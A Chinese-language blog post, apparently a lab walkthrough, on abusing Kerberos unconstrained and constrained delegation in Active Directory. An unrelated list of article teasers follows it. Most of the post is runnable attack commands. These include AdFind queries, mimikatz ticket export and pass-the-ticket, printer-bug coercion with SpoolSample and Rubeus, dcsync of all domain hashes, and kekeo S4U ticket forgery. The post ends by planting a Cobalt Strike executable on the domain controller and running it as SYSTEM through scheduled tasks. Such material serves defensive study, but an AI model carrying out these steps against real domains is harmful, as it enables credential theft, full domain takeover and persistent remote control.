域内安全:委派攻击

目录

域委派

非約束性委派攻击:

主动访问:

被动访问(利用打印机漏洞)

约束性委派攻击:


域委派

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。 委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三 种:

1、非约束性委派

2、约束性委派

3、基于资源的约束性委派

委派攻击:

只能在域管上面设置委派

分为非约束性委派和约束性委派

在域内,只有主机账号和服务账号才能设置委派

主机账号:就是AD中的computer组内的计算机,就是加入域的计算机,也叫机器账号

服务账号:只是用来跑服务的,不能用来登录电脑,只是一个服务

非約束性委派攻击:

目的:如何让域管访问配置了非约束性委派的机器,如果域管访问了,那么就拿到了域管的TGT

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境,或者结合打印机漏洞让域管用户强制回连以缓存 TGT,一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源

实验前提:控制了域内的一台机器,并且该机器的服务账号配置了非约束委派,

主动访问:

1、使用Adfind查询域内非约束委派机器账号

AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2、我们先去访问域控,是不能访问的:

dir \\dc.hack.com\c$

3、这个时候如果域管访问了机器我们的内存中就会有域管的TGT,就可以访问任意机器了,在与域控上执行访问(在域控上执行)

主动访问:

net use \\PC-2008.HACK.COM /user:hack\administrator Qq123456

4、导出内存中的票据:

sekurlsa::tickets /export

5.注入票据:

mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgtHACK.COM.kirbi

6.访问域控:

shell dir \\dc.hack.com\c$

7.如果成功,计划任务上线CS:

copy cs.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

成功上线:

被动访问(利用打印机漏洞)

一般域管不会主动访问我们,我们可以 利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证,使DC强制访问设置了非约束性委派的机器或者服务

利用:

先关闭防火墙

1、首先利用Rubeus在 机器上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息

Rubeus.exe monitor /interval:1 /filteruser: DC$

2.再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

SpoolSample.exe DC OA

3.Rubeus监听到票据,会得到来自域控的TGT票据:

4.导入票据:

Rubeus.exe ptt /ticket:票据

5.获取域内用户哈希:

lsadump::dcsync /all /csv

5.如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

使用计划任务,服务,或者无文件的powershell上线

copy 123.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

约束性委派攻击:

1、S4u2self(Service for User to Self)

2、S4U2proxy(Service for User to Proxy)

这两个扩展都允许服务代表用户从KDC请求票证。

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

攻击流程:

用户(A)访问WEB系统(B),B代表A去向KDC申请访问B的TGT和ST1(使用S4u2self),用户A拿到了ST1就可以访问B了,如果在B上配置了约束性委派(A到C的约束委派),则B能够使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给KDC,KDC返回B一个访问C的票据ST2,这样B就可以以用户的身份访问C

实验前提:我们已经控制了电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值

我们现在域控上面配置约束性委派

先上线域内配置了约束性委派的机器

1、查询约束性委派的机器和用户

查询约束委派机器账户

AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msdsallowedtodelegateto=*))" msds-allowedtodelegateto

2、使用mimikatz获取机器账户NTLM Hash:

mimikatz sekurlsa::logonpasswords

3、使用kekeo申请配置了约束委派机器账户2012-1$的TGT:

kekeo "tgt::ask /user:PC-ZS$ /NTLM:e018eb59a33bfed210afac21977d9d41 /domain:hack.com" "exit"

4.利用TGT通过伪造请求以administrator身份访问dc.hack.com的ST

shell kekeo "tgs::s4u /tgt:TGT_2012-1$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"

5.mimkatz注入:

mimikatz kerberos::ptt TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi

访问域控:

shel dir \\dc.hack.com\c$

注意:约束性委派,是否能成功控制域控,取决于委派了什么服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/872499.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

P4560 [IOI2014] Wall 砖墙

*原题链接* 做法:线段树 一道比较基础的线段树练手题,区间赋值,在修改时加些判断剪枝。 对于add操作,如果此时区间里的最小值都大于等于h的话,就没必要操作,如果最大值都小于h的话,就直接区间…

坐牢第三十五天(c++)

一.作业 1.使用模版类自定义栈 代码&#xff1a; #include <iostream> using namespace std; template<typename T> // 封装一个栈 class stcak { private:T *data; //int max_size; // 最大容量int top; // 下标 public:// 无参构造函数stcak();// 有参…

【全志H616】【开源】 ARM-Linux 智能分拣项目:阿里云、网络编程、图像识别

【全志H616】【开源】 ARM-Linux 智能分拣项目&#xff1a;阿里云、网络编程、图像识 文章目录 【全志H616】【开源】 ARM-Linux 智能分拣项目&#xff1a;阿里云、网络编程、图像识1、实现功能2、软件及所需环境3、逻辑流程图及简述3.1 完整逻辑流程图3.2 硬件接线3.3 功能简述…

部署project_exam_system项目——及容器的编排

&#xff08;一&#xff09;安装docker、编辑daemon.json文件、安装docker-compose编排容器、启动docker 1.环境准备 [rootdocker--1 ~]# rz -Erz waiting to receive.[rootdocker--1 ~]# lsanaconda-ks.cfg docker.sh[rootdocker--1 ~]# source docker.sh [rootdocker--1 ~…

基于Flink的流式计算可视化开发实践之配置->任务生成->任务部署过程

1. 引言 在我们大数据平台(XSailboat)的DataStudio模块中实现了基于Hive的业务流程开发和基于Flink的实时计算管道开发。 DataStudio是用来进行数据开发的&#xff0c;属于开发环境&#xff0c;另外还有任务运维模块&#xff0c;负责离线分析任务和实时计算任务在生产环境的部…

30岁程序员的焦虑:转行还是继续死磕?现在什么方向更有前景?

最适合转入AI大模型的莫过于程序员和在读大学生了吧。 对于程序员来说&#xff0c;码农之路并不是一帆风顺。对于每一个入行IT业的社会青年来说&#xff0c;谁不是抱着想要成为最高峰的技术大咖或者跃进管理岗的小目标&#xff1f; 然而往往更多的人并非互联网吹捧的如此耀眼…

低代码平台:加速企业制造业数字化转型的新引擎

近期&#xff0c;国家发布了中小企业数字化转型试点城市的政策&#xff0c;旨在通过先行先试&#xff0c;探索支持制造业特别是汽车制造行业数字化转型的有效模式。这一政策的出台&#xff0c;为汽车制造企业的数字化转型提供了强有力的政策支持和方向指引&#xff0c;标志着汽…

【论文速读】| SEAS:大语言模型的自进化对抗性安全优化

本次分享论文&#xff1a;SEAS: Self-Evolving Adversarial Safety Optimization for Large Language Models 基本信息 原文作者: Muxi Diao, Rumei Li, Shiyang Liu, Guogang Liao, Jingang Wang, Xunliang Cai, Weiran Xu 作者单位: 北京邮电大学, 美团 关键词: 大语言模…

vue.js项目实战案例详细源码讲解

​ 大家好&#xff0c;我是程序员小羊&#xff01; 前言&#xff1a; 为帮助大家更好地掌握Vue.js项目的开发流程&#xff0c;我将为你讲解一个完整的Vue.js实战案例&#xff0c;并提供详细的源码解析。这个案例将涵盖从项目创建到实现各种功能模块的全过程&#xff0c;适合用于…

基于空间结构光场照明的三维单像素成像

单像素成像是一种新兴的计算成像技术。该技术使用不具备空间分辨能力的单像素探测器来获取目标物体或场景的空间信息。单像素探测器具有高的时间分辨率、光探测效率和探测带宽&#xff0c;因此单像素光学成像技术在散射、弱光等复杂环境下相较于传统面阵成像技术展现了很大优势…

面试题:软件测试缺陷产生的原因有哪些?

软件缺陷产生的原因多种多样&#xff0c;一般可能有以下几种原因&#xff1a; 1.需求表述、理解、编写引起的错误。 2.系统架构设计引起的错误。 3.开发过程缺乏有效的沟通及监督&#xff0c;甚至没有沟通或监督。 4.程序员编程中产生的错误。 5.软件开发工具本身隐藏的问…

哨兵排序算法

代码展示 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h>#define MAXSIZE 20 //直接排序 typedef struct {int r[MAXSIZE 1];int length; } SqList; int InsertSort(SqList* L) {int i, j;for (i 2; i < L->length; i){if (L-…

mysql自增主键插入后返回id与实际插入id不同

加入这一段即可 GeneratedValue(strategy GenerationType.IDENTITY)

张飞硬件10-TVS管篇笔记

TVS管的原理 TVS或称瞬变电压抑制二极管&#xff0c;是在二极管工艺基础上发展起来的新产品&#xff0c;其电路符号和普通稳压管相同&#xff0c;外形也与普通二极管无异。当TVS管两端经受瞬间的高能量冲击时&#xff0c;它能以极高的速度将其阻抗骤然降低&#xff0c;同时吸收…

el-table 单元格,双击编辑

el-table 单元格&#xff0c;双击编辑 实现效果 代码如下 <template><el-table :data"tableData" style"width: 100%"><el-table-column prop"name" label"姓名" width"180"><template slot-scope&q…

【机器学习】梯度提升和随机森林的概念、两者在python中的实例以及梯度提升和随机森林的区别

引言 梯度提升&#xff08;Gradient Boosting&#xff09;是一种强大的机器学习技术&#xff0c;它通过迭代地训练决策树来最小化损失函数&#xff0c;以提高模型的预测性能 随机森林&#xff08;Random Forest&#xff09;是一种基于树的集成学习算法&#xff0c;它通过组合多…

Java队列详细解释

队列 一、什么是队列&#xff08;Queue&#xff09; java队列是一种线性数据结构&#xff0c;它的特点是先进先出。在队列中&#xff0c;元素的添加&#xff08;入队&#xff09;操作在队尾进行&#xff0c;而元素的移除&#xff08;出队&#xff09;操作则在队头进行。因此&a…

最近大模型最火的就业方向有哪些?

在2023和2024年&#xff0c;大语言模型的发展迎来了绝对风口&#xff0c;吸引了大量创业者和投资者。然而&#xff0c;经过一年的发展&#xff0c;许多公司已经销声匿迹。那么&#xff0c;未来大模型方向上还有哪些可以继续发展的方向呢? 基座大模型预训练 现状 - 展现出“胜…

TikTok Live与跨境电商的深度融合:直播带货引领品牌出海

在TikTok Live的应用中&#xff0c;品牌能够利用这一互动性极强的功能开辟新的销售渠道&#xff0c;推动全球业务的增长。本文Nox聚星将和大家探讨TikTok Live如何与跨境电商相结合&#xff0c;分析其应用场景。 一、TikTok Live与跨境电商的结合优势 庞大的用户基础&#xff…

使用 OpenCV 和 NumPy 进行图像处理:HSV 范围筛选实现PS抠图效果

使用 OpenCV 和 NumPy 进行图像处理&#xff1a;HSV 范围筛选实现PS抠图效果 在计算机视觉和图像处理领域&#xff0c;OpenCV 是一个非常强大的库&#xff0c;能够帮助我们执行各种图像操作。在这篇博客中&#xff0c;我们将通过一个简单的示例演示如何使用 OpenCV 和 NumPy 来…